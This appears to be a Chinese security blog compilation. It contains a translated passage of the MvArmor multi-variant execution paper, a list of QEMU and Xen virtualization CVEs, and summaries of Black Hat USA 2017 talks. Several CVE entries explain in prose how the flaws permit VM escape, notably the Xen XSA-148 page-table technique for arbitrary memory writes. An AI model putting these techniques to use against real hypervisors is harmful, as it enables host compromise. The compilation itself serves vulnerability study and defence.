我们类似地虚拟文件描述符,因为只有领导者才能访问所有的文件描述符。例如,追随者无法访问打开可写的套接字或文件,由于内核在每个进程中以增量方式分配文件描述符,并且追随者比领导者打开更少的文件(例如,只读文件),所以这些数字开始偏离。因此,命名空间管理器维护虚拟化文件描述符到真实(每个变体)文件描述符的映射。对于与epoll相关的标识符(包括用户数据字段)也是如此。当套接字有I/O事件时,epoll_wait系统调用返回先前注册的用户定义的数据。由于这些值可以是指针(每个变体不同),因此必须将它们映射回套接字,然后映射到应该为该套接字返回的变体特定的用户数据。

时间信息在变体之间也不应该有差异,因为这通常用于记录或播种随机数发生器。由于MvArmor可以完全控制应用程序的页表,所以它可以很容易地拦截所有的vDSO系统调用。通过禁用了rdtsc指令,使其陷入监控器

通过只允许领导者打开像/dev/random这样的文件来确保随机数生成中的确定性。伪随机数生成器通常用已经由命名空间管理器虚拟化的信息播种,不需要额外的努力来正确地工作。我们类似地限制领导者对/ proc文件系统的访问。没有二进制检测,就没有简单的方法来插入rdrand指令。通过禁用管理程序的cpuid实现中的相应位,大多数正常的应用程序和库将不会使用它(例如,OpenSSL)。虽然我们没有观察到需要进一步检查,但我们也可以配置虚拟环境,以便在执行指令时(通过虚拟环境的控制结构中的一个位)陷入虚拟机管理程序。

5.7检测器

由于系统调用的参数不能超过6个,因此很多调用都希望指向包含更多信息(例如缓冲区或结构)的数据结构。为了在变体之间进行全面比较,监控器因此对这些参数进行深层语义复制和比较。在MvArmor中,检测器组件执行这两个功能。

5.8实现

除了前端和后端外,MvArmor还包含一个实现我们设计中所有组件的库。我们开发了这些组件的两个实现:使用Dune沙箱的高性能硬件虚拟化方法和用于开发和调试的ptrace实现。这些实现为每个系统调用调用我们的共享库,并公开了几个函数,如如何访问受监控的应用程序的地址空间以及如何分配变体之间的内存。库本身由大约5,000行C代码组成,而前端和后端则各包含大约500行C代码。

用于实现MvArmor的默认前端和后端的Dune沙箱允许任意应用程序在Dune中运行。沙箱使用自己的加载程序加载给定的二进制文件。它还对传递给系统调用的任何指针执行边界检查,以防止沙箱应用程序访问ring 0的状态,例如沙箱本身,Dune库或监控器。我们稍微修改了Dune和沙箱,以满足我们对监控器的要求,比如安全修复和更多的回调。

为了实现在5.1节中讨论的保护技术,我们使用了libumem的修改版本,它是Solaris slab分配器的Linux用户空间端口。这个实现作为我们自定义的“稀疏”分配器的基础。具体来说,通过限制每个slab允许的对象的数量(即1个对象),并向每个slab添加填充(即领导者最大堆的大小),我们实现了领导者和追随者之间的非重叠偏移空间。通过保留libumem每个尺寸原本的池化架构,我们使得类型安全的内存重用成为可能。此外,由于我们希望在领导者中保留标准(随机)分配器(为了保持安全性,还要在较慢领导者中保证性能),我们假设标准和我们的自定义分配器都是可信的,以防止监控器检测到由不同的分配器引起的分歧(例如,不同的系统调用来映射内存)。


6.限制

在撰写本文时,我们的MvArmor原型有以下限制:

  • MvArmor的自定义分配器受到Dune对每个进程最大虚拟内存大小的限制,目前要求在内存密集型应用程序中放宽slab间填充(以及安全性)的大小限制。
  • 虽然MvArmor可以保护通用堆对象,但没有源级信息,它不能解耦每个对象内部由自定义内存分配器管理的内部结构缓冲区或块,这是所有二进制级堆强化解决方案的基础限制。
  • 尽管MvArmor的MVX库支持类似于最近MVX解决方案的线程化,但它目前不能运行多线程应用程序。扩展我们当前的MVArmor原型以支持任意多线程应用程序面临两个挑战:(i)支持Dune(当前线程不安全)中的线程安全性,并且当良性数据竞态存在时(即线程同步而没有系统调用例如futex) (ii)用更严格的DMT形式保护正确的MVX语义。

7.评估


Reference

Secure and Efficient Multi-variant Execution Using Hardware-assisted Process Virtualization -DSN 2016-VUSec

虚拟化漏洞总结

diting0x

在这里收集虚拟化相关漏洞,持续更新。

CVE‐2015‐3456

CVE-2015-7504 By 360云安全

  • QEMU中pcnet网卡模拟组件中的一个缓冲区溢出漏洞
  • 漏洞发生在pcnet网卡使用loopback/looptest模式接收数据时,会在接收到的数据尾部增加一个CRC校验码(长度4个字节),当发送包的大小刚好符合接收包设定的最大缓冲区大小(4096字节)时。在intel X86-64体系下附加的CRC校验码会覆盖掉所在的PCNetStae_st结构体后面的中断处理指针irq中的后4个字节,攻击者可以构造特定的CRC校验码来实现进一步的攻击利用
    链接

CVE-2015-5279 By 360 Marvel Team

  • qemu虚拟化环境中rtl8029网卡设备存在一处堆溢出类型漏洞
  • 该漏洞发生在ne2000网卡模块的接收数据包的过程,被qemu官方安全团队定义为高危漏洞,一旦被黑客恶意利用,可以实现拒绝服务攻击,虚拟机逃逸攻击。在成功利用该漏洞之后,黑客进而可以控制宿主机以及该宿主机上的其他虚拟机,进而造成企业的敏感信息泄露,内网被渗透的可怕后果。
    链接

CVE-2015-8567 By 360 Marvel Team

  • qemu中的内存泄露漏洞,虚拟机授权用户利用该漏洞可以泄露宿主机内存,导致拒绝服务。该漏洞存在于xen和kvm系统的qemu模块中的vmxnet3网卡组件,黑客在一台虚拟机中利用该漏洞,可以导致同一宿主机上的其他虚拟机崩溃。
    链接

CVE-2015-7835/XSA-148 By Alibaba Cloud

  • 该漏洞存在于Xen Hypervisor的内存管理机制中。基于安全的考虑,Xen将PV DomU的页表页面映射为“不可写”,因此PV DomU无法直接修改其页表,只能通过调用相关的Hypercalls向Xen Hypervisor发起页表修改请求,Xen Hypervisor检查通过后代替PV DomU进行修改。然而,为了优化检查步骤,提高运行速度,Xen Hypervisor在提供了快速更新的选择,即如果Xen Hypervisor认为本次页表更新是安全的,就不必再走严格的检查流程。问题在于,Xen Hypervisor在更新Page Directory Table(PDT)中的页面项时,快速更新逻辑会允许新的Page Driectory Table Entry(PDE)携带_PAGE_PSE和_PAGE_RW标志。PDE的_PAGE_PSE标志会导致MMU允许使用2M页面。对于PDE更新请求,是否执行快速更新操作是由Xen的l2e_has_changed(ol2e, nl2e, _PAGE_PRESENT)例程决定的。该函数会检查ol2e与nl2e中的物理页帧号、_PAGE_PRESENT标志位是否一致,如果一致,则直接使用nl2e更新该PDE。此时,如果nl2e中设置了_PAGE_PSE标志位,可以通过构造虚拟地址访问nl2e中页帧号指示的2M大小的物理内存,即真正允许访问到的物理内存不是Xen假定的4K大小,而是真实的连续的2M大小,而扩增的这部分物理内存,有可能是不属于当前虚拟机的。同时,如果nl2e包含了_PAGE_RW,这2M内存可以任意写。从漏洞利用的角度,既然通过设置PDE的_PAGE_PSE和_PAGE_RW位可以突破对4K内存的访问限制,访问到连续的2M大小的物理内存,如果事先将一个Page Table置于这2M物理内存空间内,这样就可以通过恶意的nl2e读写该Page Table,从而突破了Xen对虚拟机只能以只读权限拥有Page Tables的限制,实现了任意物理内存读写,最终可以绕过软硬件上的所有安全机制的限制在Xen Hypervisor上下文环境和Dom0上下文环境执行任意代码。
    链接
    链接2 code

CVE-2015-5165 By Alibaba Cloud

  • 支持RTL8139仿真的Qemu在RTL8139处理器的C+操作模式下处理网络报文时,存在信息泄露漏洞,客户端用户利用此漏洞可读取未初始化的Qemu堆内存。
    链接

CVE-2014-7155/XSA-105

  • 该漏洞位于对 hlt,lgdt,lidt 和 lmsw 指令的仿真.
    对HLT,LGDT,LIDT 和 LMSW指令的仿真未能正确执行特权模式权限检查,一个非特权代码(3环)可能运行这些指令。在存在漏洞的这几个指令中,只有两个可能导致潜在的提权:lgdt 和 lidt。它们分别允许改变全局描述符表寄存器(GDTR)和中断描述符表寄存器的值(IDRT)。GDTR 和 IDTR 格式相同:高位包含基址,低位定义长度[10]。这些值定义全局描述符表(GDT)和中断描述符表(IDT)地址。根据Intel 手册,不允许非特权代码执行这些指令(lgdt,lidt)。若用户可以加载自己的 GDT 或 IDT,将导致任意代码执行和特权提升.
    链接

还可以参考phrack的一篇有关CVE-2015-5165和CVE-2015-7504分析文章

Blackhat系列USA 2017 Summary

由师妹整理

Web AppSec

【1】WEB CACHE DECEPTION ATTACK

PRESENTED BY Omer Gil

Tracks: # Web AppSec

网络缓存欺骗攻击
【摘要】Web Cache欺骗攻击是一种新的Web攻击向量,它将各种技术和框架置于危险之中。本文将对攻击从解剖,先决条件和缓解方案三个方面进行深入分析。还将介绍不同的网络服务器和缓存机制的行为,并且将以脆弱的网站和现场演示为例。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf


【2】CRACKING THE LENS: TARGETING HTTP’S HIDDEN ATTACK-SURFACE

PRESENTED BY James Kettle

Tracks: # Web AppSec

打破镜头:瞄准HTTP隐藏的攻击表面
【摘要】本文将展示如何使用格式错误的请求和深奥的标头来诱使这些系统暴露自己,并将网关打开到受害者的网络中。将分享如何通过将这些技术与一点点Bash相结合,彻底打穿DoD网络。在解构损害的同时,还将展示其揭开的几种隐藏系统。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface.pdf


【3】DON’T TRUST THE DOM: BYPASSING XSS MITIGATIONS VIA SCRIPT GADGETS

PRESENTED BY Sebastian Lekies & Krzysztof Kotowicz & Eduardo Vela

Tracks: # Web AppSec

不要信任DOM:通过脚本工具绕过XSS缓解方案
【摘要】本文提出一种新颖的网络黑客技术,使攻击者能够绕过大多数XSS缓解。攻击者滥用所谓的脚本小工具,即页面中合法的JavaScript片段,通过选择器从DOM读取元素,并以导致脚本执行的方式处理它们。随后,小工具选择良性的元素,并执行攻击者控制的脚本,当小工具错误地提升元素的权限时,XSS才会表现出来。同时将展示这些小工具几乎遍布所有现代JavaScript库,API和应用程序。通过介绍几个案例研究和现实世界的例子,证明许多缓解技术不适合现代应用。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf


【4】GAME OF CHROMES: OWNING THE WEB WITH ZOMBIE CHROME EXTENSIONS

PRESENTED BY Tomer Cohen

Tracks: # Web AppSec, # Malware

Chrome上的游戏:通过僵尸Chrome扩展程序来拥有网络
【摘要】扩展程序中的基于DOM的XSS漏洞允许攻击者制作一个运行Javascript内容的扩展程序。本文将展示这样一个缺陷如何导致对受害者浏览器的完全和永久的控制,将扩展变成僵尸。另外,详细描述2016年Wix和Facebook遭受的攻击,并展示如何使用类似的技术,通过流行的社交平台将恶意有效载荷有效地分发给新的受害者,从而创建最强大的僵尸网络。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-wp.pdf


【5】FRIDAY THE 13TH: JSON ATTACKS

PRESENTED BY Alvaro Muñoz & Oleksandr Mirosh

Tracks: # Web AppSec, # Enterprise

星期五第十三:JSON攻击
【摘要】本文将分析.NET和Java中最流行的JSON解析器中潜在的RCE(远程执行代码)向量。将展示在这些库函数中RCE是可能存在的,并介绍了默认情况下易受RCE影响的一些库函数细节,还讨论了使其他库易受攻击的常见配置。除了专注于JSON格式,我们将把攻击技术推广到其他序列化格式,最后提供可用于以稳定的方式实现RCE的系统库中的几个小工具。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf


PRESENTED BY Orange Tsai

Tracks: # Web AppSec, # Exploit Development

新一代SSRF - 用流行编程语言开发URL解析器
【摘要】本文提出了一种新的漏洞利用技术,带来了全新的攻击面,绕过SSRF(服务器端请求伪造)保护,问题的根本原因在于URL解析器和URL请求者的不一致。将演示几种情况来说明如何利用URL解析器来绕过SSRF保护并实现RCE(远程执行代码)。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf



Applied Security

【1】ICHTHYOLOGY: PHISHING AS A SCIENCE

PRESENTED BY Karla Burnett

Tracks: # Applied Security, # Human Factors

鱼类学:网络钓鱼作为一门科学
【摘要】本文将介绍网络钓鱼的心理学,然后通过对Bay Area科技公司进行的一系列现实世界的攻击,介绍最近在这一领域的技术进步,然后将这些与案例研究相结合,提供循证技术,提供关于如何预防,而不仅仅是减轻凭证诈骗。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Burnett-Ichthyology-Phishing-As-A-Science.pdf


【2】HACKING HARDWARE WITH A $10 SD CARD READER

PRESENTED BY Amir Etemadieh & Khoa Hoang & CJ Heres

Tracks: # Applied Security, # Hardware/Embeddeds

用一个10美元SD卡读卡器窃取硬件
【摘要】本文将介绍如何识别eMMC闪存芯片,如何逆向工程电路引脚,以及如何转储或修改数据。展示正确逆向工程硬件(包括eMMC闪存存储,没有Bricking)的技巧和窍门,以及从识别到编程过程的清晰解释。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Etemadieh-Hacking-Hardware-With-A-$10-SD-Card-Reader.pdf


【3】THE ART OF SECURING 100 PRODUCTS

PRESENTED BY Nir Valtman

Tracks: # Applied Security, # Security Development Lifecycle

保护100种产品的艺术
【摘要】本文介绍了通过扩展应用程序安全团队的功能,配置正确的安全工具以及新引入的缩略规则来构建一个成功的应用程序安全项目的可靠方法来应对这些挑战,使用切实的执行方法来确保大规模的产品。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Valtman-The-Art-Of-Securing-100-Products.pdf


【4】PROTECTING PENTESTS: RECOMMENDATIONS FOR PERFORMING MORE SECURE TESTS

PRESENTED BY Wesley McGrew

Tracks: # Applied Security, # Network Defense

保护pentests:执行更多安全测试的建议
【摘要】本文提出了一套可用于建立安全渗透测试操作的全面的建议。包括如何与客户组织沟通并与客户组织就风险和缓解进行合作的技术建议,策略,过程和指导。目标是开发出更加专业的测试能力,并保护客户组织和渗透测试的基础设施,同时避免了对速度、灵活性和创造力的负面影响。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-McGrew-Protecting-Pentests-Recommendations-For-Performing-More-Secure-Tests.pdf


【5】PROTECTING VISUAL ASSETS: DIGITAL IMAGE COUNTER-FORENSICS

PRESENTED BY WNikita Mazurov & Kenneth Brown

Tracks: # Applied Security, # Human Factors

保护视觉资产:数字图像的反取证
【摘要】本文将探索图像可以被挖掘从而获得信息数据的无数方式,反过来,通过专注于泄露信息的混淆,删除和改变来提供防范所述数据泄漏的反取证技术。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Mazurov-Brown-Protecting-Visual-Assets-Digital-Image-Counter-Forensics.pdf


【6】TRACKING RANSOMWARE END TO END

PRESENTED BY Luca Invernizzi & Kylie McRoberts & Elie Bursztein

Tracks: # Applied Security, # Malware

端到端的跟踪勒索
【摘要】本文展示了一种从分销站点到现金流量点大规模跟踪勒索生态系统的方法,揭示了现金流出点,跟踪了货币如何从比特币网络中流出,使当局能够利用传统的金融追踪手段获取资金踪迹。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Invernizzi-Tracking-Ransomware-End-To-End.pdf


【7】THE EPOCHOLYPSE 2038: WHAT’S IN STORE FOR THE NEXT 20 YEARS

PRESENTED BY Mikko Hypponen

Tracks: # Applied Security

启示2038:在接下来的20年将会发生什么
【摘要】本文将提到计算机安全形势的变化,以及什么可能是最重要的未来的发展。 通过了解攻击者及其动机,我们可以最好地保护我们的计算机。在未来,还需要保护更多的东西,而不仅仅是电脑。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Hypponen-The-Epocholypse-2038-Whats-In-Store-For-The-Next-20-Years.pdf


【8】GO TO HUNT THEN SLEEP

PRESENTED BY David Bianco & Robert Lee

Tracks: # Applied Security, # Data Forensics/Incident Response

去狩猎然后睡觉
【摘要】本文提出如何着手处理数据泄露和有针对性的攻击等威胁,以及如何快速发现威胁者。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Bianco-Go-To-Hunt-Then-Sleep.pdf


【9】PRACTICAL TIPS FOR DEFENDING WEB APPLICATIONS IN THE AGE OF DEVOPS

PRESENTED BY Zane Lackey

Tracks: # Applied Security, # Security Development Lifecycle

为维护Web应用程序的实用技巧
【摘要】本文分享Etsy在当今世界越来越快的应用程序创建和交付中最有效的应用安全技术方面的实践经验。具体来说,它将涵盖:将传统的重量级控制(如静态分析和动态扫描)适应于现代开发和部署实践中的轻量级工作;获得可见性,使开发和DevOps团队能够快速迭代,而不是阻碍开发;以非理论的方式衡量组织安全工作的成熟度。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Lackey-Practical%20Tips-for-Defending-Web-Applications-in-the-Age-of-DevOps.pdf


【10】EVOLUTIONARY KERNEL FUZZING

PRESENTED BY Richard Johnson

Tracks: # Applied Security, # Security Development Lifecycle

演化内核模糊
【摘要】本文将讨论将进化覆盖引导模糊应用于内核系统调用,IOCTLS和其他低级接口的方法。首先,要了解什么是有效的引导内核fuzzer,我们将讨论可用于开源驱动程序和内核的工具;接下来,我们将使用像QEMU这样的系统仿真器来调试具有代码覆盖率的内核接口,以了解这种方法的性能和限制。最后,我们将利用自己的定制驱动程序,使用Intel Processor Trace进行硬件分支跟踪,作为Linux和Windows上未修改的内核二进制文件的进化模糊的新方法。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Johnson-Evolutionary-Kernel-Fuzzing


【11】ELECTRONEGATIVITY - A STUDY OF ELECTRON SECURITY

PRESENTED BY Luca Carettoni

Tracks:# Applied Security, # Web AppSec

ELECTRONEGATIVITY - ELECTRON安全研究
【摘要】Github的Electron是使用JavaScript,HTML和CSS构建跨平台桌面应用程序的流行框架。本文将说明Electron的安全模型,并描述当前的隔离机制,以防止不可信内容使用Node.js原语;将全面讨论Electron的IPC消息传递,预加载和其他内部部件。分析BrowserWindow和WebView安全相关选项,以及基于ELECTRON应用程序的设计级弱点和实现错误。并推出了用于促进ELECTRON应用测试的新工具。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf


【12】EXPLOITING NETWORK PRINTERS

PRESENTED BY Jens Müller

Tracks: # Applied Security, # Internet of Things

利用网络打印机
【摘要】本文进行了大量打印机攻击分析,并通过提供打印机安全分析的一般方法来系统化我们的知识。基于我们的方法,我们实现了一个名为PRinter Exploration工具包(PRET)的开源工具,我们使用PRET来评估来自不同供应商的打印机型号。揭示了通过使用先进的跨站点打印技术,结合打印机CORS欺骗,从互联网攻击的新颖见解。最后,展示了如何将我们的攻击应用于像谷歌云打印或文档处理网站这样的典型打印机之外的系统。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Mueller-Exploiting-Network-Printers.pdf



Network Defense

【1】PEIMA: HARNESSING POWER LAWS TO DETECT MALICIOUS ACTIVITIES FROM DENIAL OF SERVICE TO INTRUSION DETECTION, TRAFFIC ANALYSIS, AND BEYOND

PRESENTED BY Stefan Prandl

Tracks: # Network Defense

PEIMA:利用更强效的规则来检测恶意活动,从拒绝服务攻击到入侵检测、流量分析等
【摘要】本文将介绍和讨论power laws分配的意义和强度,它们与计算机的关系,以及如何利用它来开发新的异常检测系统。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Prandl-PEIMA-Harnessing-Power-Laws-To-Detect-Malicious-Activities-From-Denial-Of-Service-To-Intrusion-Detection-Traffic-Analysis-And-Beyond.pdf


【2】THEY’RE COMING FOR YOUR TOOLS: EXPLOITING DESIGN FLAWS FOR ACTIVE INTRUSION PREVENTION

PRESENTED BY John Ventura

Tracks: # Network Defense, # Applied Security

他们用来做您的工具:利用设计缺陷进行主动的入侵防御
【摘要】本文希望能够提供一种更加主动的入侵防御方法,使防御者能够使用简单的网络软件应用来寻找一些常见攻击。通过使用主动入侵检测策略,管理员可以创建一个情况,即那些过度依赖其工具的攻击者会将自身暴露于检测和其他重大并发症。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Ventura-Theyre-Coming-For-Your-Tools-Exploiting-Design-Flaws-For-Active-Intrusion-Prevention.pdf


【3】FLOWFUZZ - A FRAMEWORK FOR FUZZING OPENFLOW-ENABLED SOFTWARE AND HARDWARE SWITCHES

PRESENTED BY Nicholas Gray & Thomas Zinner & Phuoc Tran-Gia & Manuel Sommer

Tracks: # Network Defense, # Hardware/Embedded

FLOWFUZZ - 一个用于模糊启用OPENFLOW的软件和硬件交换机的框架
【摘要】本文提出了FlowFuzz,一个具有SDN功能的软件和硬件交换机的模糊框架。特别专注于OpenFlow协议,这是目前具有SDN功能的交换机和中央控制实例之间的实际标准通信协议。框架利用诸如AddressSanitizer的常规工具的输出来调查软件交换机,还评估了从侧面通道,即获得的数据,处理时间和功耗来识别硬件交换机内的唯一代码执行路径,以优化模糊过程。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Gray-FlowFuzz-A-Framework-For-Fuzzing-OpenFlow-Enabled-Software-And-Hardware-Switches.pdf


【4】SPLUNKING DARK TOOLS - A PENTESTERS GUIDE TO PWNAGE VISUALIZATION

PRESENTED BY Nathan Bates & Bryce Kunz

Tracks:# Network Defense, # Applied Security

SPLUNKING DARK工具 - 针对PWNAGE可视化的指南
【摘要】本文涵盖了整合、分析和可视化每个红色团队使用dark tools所必要的工具,这一切都可以在规模上进行,即使是最流行的持续集成和部署环境。并且将发布所需的框架,以获取需要的数据,技术附件,以及Splunk的dashboards。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Bates-Splunking-Dark-Tools-A-Pentesters-Guide-To-Pwnage-Visualization.pdf


【5】NETWORK AUTOMATION IS NOT YOUR SAFE HAVEN: PROTOCOL ANALYSIS AND VULNERABILITIES OF AUTONOMIC NETWORK

PRESENTED BY Omar Eissa

Tracks: # Network Defense

网络自动化不是您的避风港:自动化网络的协议分析和脆弱性
【摘要】本文将简要介绍思科的自主网络架构,然后我通过多个阶段对专有协议进行逆向工程。最后将提供多个漏洞,其中一个漏洞可以通过了解IPv6地址来远程中断系统。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Eissa-Network-Automation-Isn't-Your-Safe-Haven-Protocol-Analysis-And-Vulnerabilities-Of-Autonomic-Network.pdf


【6】WHAT’S ON THE WIRELESS? AUTOMATING RF SIGNAL IDENTIFICATION

PRESENTED BY Michael Ossmann & Dominic Spill

Tracks:# Network Defense, # Reverse Engineering

无线电话上有什么?射频信号自动识别
【摘要】本文开发了一个开源工具,以高水平监控射频频谱,然后深入研究各种信号,支持逆向工程和信号智能。通过自动将结果与世界各地监管机构的OSINT数据相结合,我们能够建立在环境中传输的设备的图片。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Ossmann-Whats-On-The-Wireless-Automating-RF-Signal-Identification.pdf


【7】AUTOMATED DETECTION OF VULNERABILITIES IN BLACK-BOX ROUTERS (AND OTHER NETWORK DEVICES)

PRESENTED BY Gabi Nakibly

Tracks:# Network Defense, # Platform Security

自动检测黑匣子路由器(及其他网络设备)中的漏洞
【摘要】本文提出了一种无需访问设备的二进制或源代码,利用黑盒来发现封闭源网络设备中协议实现偏差的方法。该方法以全自动的方式发现这种偏差,同时利用基于模型的测试方法。并且将其应用于多个路由器,以使用我们在Cisco和Quagga发现路由器中的逻辑漏洞的工具来检查其路由协议的实现(特别是OSPF)。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Nakibly-Automated-Detection-of-Vulnerabilities-in-Black-Box-Routers.pdf


【8】WIFUZZ: DETECTING AND EXPLOITING LOGICAL FLAWS IN THE WI-FI CRYPTOGRAPHIC HANDSHAKE

PRESENTED BY Mathy Vanhoef

Tracks: # Network Defense, # Cryptography

wifuzz:检测和利用在WI-FI加密握手中的逻辑漏洞
【摘要】本文展示了如何检测和滥用这种握手实现中的逻辑缺陷。为了检测这些类型的逻辑漏洞,首先构建一个描述实现的预期行为的Wi-Fi握手模型,然后自动生成无效的握手执行,并检查一个实现是否对这些无效执行做出正确的反应。同时测试了12个Wi-Fi接入点,发现所有这些接入点都有违规行为,包括身份验证绕过,指纹技术,降级攻击,拒绝服务(DoS)攻击等。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Vanhoeft-WiFuzz-Detecting-And-Exploiting_Logical-Flaws-In-The-Wi-Fi-Cryptographic-Handshake.pdf



Malware

【1】THE ACTIVE DIRECTORY BOTNET

PRESENTED BY Ty Miller & Paul Kalinin

Tracks: # Malware, # Enterprise

ACTIVE DIRECTORY僵尸网络
【摘要】本文提出了一个全新的攻击技术,将您的Active Directory域控制器变成可以命令强大内部僵尸网络的C&C服务器,从而绕过所有的网络控制,在安全区域和组织内部进行通信。并将进行一系列这种攻击的现场演示,以表明攻击行动。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Miller-The-Active-Directory-Botnet.pdf


【2】SHIELDFS: THE LAST WORD IN RANSOMWARE RESILIENT FILE SYSTEMS

PRESENTED BY Andrea Continella & Alessandro Guagnelli & Giovanni Zingaro & Giulio De Pasquale & Alessandro Barenghi & Stefano Zanero & Federico Maggi

Tracks: # Malware, # Platform Security

SHIELDFS:勒索的弹性文件系统中的最后一个字
【摘要】本文将介绍ShieldFS,一个让Windows本机文件系统免受勒索攻击的内部驱动。即使检测失败,一旦其检测组件显示有可疑活动,shieldfs可以动态切换到使用copy-on-write机制的保护层。将展示ShieldFS如何影响写入操作,演示ShieldFS对来自最先进的ransomware系列的样品的有效性,表明它能够在运行时检测恶意活动,并透明地恢复所有原始文件。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Continella-ShieldFS-The-Last-Word-In-Ransomware-Resilient-Filesystems.pdf


【3】GARBAGE IN, GARBAGE OUT: HOW PURPORTEDLY GREAT MACHINE LEARNING MODELS CAN BE SCREWED UP BY BAD DATA

PRESENTED BY Hillary Sanders

Tracks: # Malware, # Enterprise

GARBAGE IN GARBAGE OUT:如何通过bad data得到好的机器学习模型
【摘要】本文将展示来自同一个旨在检测恶意URL的深层学习模型,但是通过3种不同的URL数据源进行培训和测试的灵敏度结果。查看结果后通过不同数据源之间的表面差异以及该神经网络在某些数据集中识别出更高级别的特征而在其他数据中没有识别两个方面来深入研究结果。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Sanders-Garbage-In-Garbage-Out-How-Purportedly-Great-ML-Models-Can-Be-Screwed-Up-By-Bad-Data.pdf


【4】OFFENSIVE MALWARE ANALYSIS: DISSECTING OSX/FRUITFLY VIA A CUSTOM C&C SERVER

PRESENTED BY Patrick Wardle

Tracks: # Malware, # Reverse Engineering

攻击的恶意软件分析:通过自定义的C&C服务器解决OSX/FRUITFLY
【摘要】本文首先分析并完全解构恶意软件的滴管,一个混淆的perl脚本。将逆向重点放在初步的分流上,并展示如何创建自定义C&C服务器。通过该服务器可以很容易地强制恶意软件来显示它的全部功能。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Wardle-Offensive-Malware-Analysis-Dissecting-OSXFruitFly-Via-A-Custom-C&C-Server.pdf


【5】BOT VS. BOT FOR EVADING MACHINE LEARNING MALWARE DETECTION

PRESENTED BY Hyrum Anderson

Tracks: # Malware

BOT VS. 规避机器学习恶意软件检测的BOT
【摘要】本文展示了如何通过设置一个AI代理来与恶意软件检测器进行竞争,以主动探测可能被利用的盲点来逃避机器学习恶意软件检测。研究专注于静态Windows PE的恶意软件漏洞,但框架是通用的,可以扩展到其他的恶意软件。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Anderson-Bot-Vs-Bot-Evading-Machine-Learning-Malware-Detection.pdf


【6】INFECTING THE ENTERPRISE: ABUSING OFFICE365+POWERSHELL FOR COVERT C2

PRESENTED BY Craig Dods

Tracks: # Malware, # Network Defense

影响企业:滥用Office365 + PowerShell隐蔽C2
【摘要】本文试图揭示微软SaaS产品的潜在危害,同时也展示了一个实际示例,详细概述了攻击者如何利用Office365 + PowerShell的组合来利用本机功能。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf


【7】AVPASS: LEAKING AND BYPASSING ANTIVIRUS DETECTION MODEL AUTOMATICALLY

PRESENTED BY Jinho Jung & Chanil Jeon & Max Wolotsky & Insu Yun & Taesoo Kim

Tracks: # Malware , # Mobile

AVPASS:自动泄漏和绕过抗病毒检测模型
【摘要】本文展示了AVPASS,用于泄漏Android防病毒(AV)程序的检测模型的工具,并且通过泄漏信息与APK扰动技术相结合来绕过AV检测。将介绍包括APK的扰动过程,泄漏模型过程和自动旁路过程在内的整个流程。现场演示AVPASS,显示它正确地修改了真实世界的恶意软件,并允许它们绕过泄露模型后的所有AV。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Jung-AVPASS-Leaking-And-Bypassing-Anitvirus-Detection-Model-Automatically.pdf


【8】DIGITAL VENGEANCE: EXPLOITING THE MOST NOTORIOUS C&C TOOLKITS

PRESENTED BY Waylon Grange

Tracks: # Malware , # Exploit Development

数字复仇:开发最臭名昭著的C&C TOOLKITS
【摘要】远程管理工具(RAT)的命令和控制组件充满了漏洞,本文将公开几个允许在运行着C&C组件的计算机上进行远程执行或远程信息泄露的几种漏洞利用。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf


【9】THE ADVENTURES OF AV AND THE LEAKY SANDBOX

PRESENTED BY Itzik Kotler & Amit Klein

Tracks: # Malware , # Exploit Development

AV的冒险和泄露的沙盒
【摘要】本文描述和演示了一种新颖的技术,用于从度安全的企业中没有直接与互联网连接的终端,或者与Internet的连接仅限于合法的安装软件使用的主机渗透数据。结果显示如果防病毒产品在云中使用互联网连接的沙箱,可以促进这种渗透。将会发布开发中实施过滤技术的工具,并提供几个突出的AV产品在真实世界中的结果。并提供有关这些AV云端沙箱的数据和见解,解决如何进一步加强攻击的问题,以及基于云的AV厂商如何减轻攻击。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox.pdf



Mobile

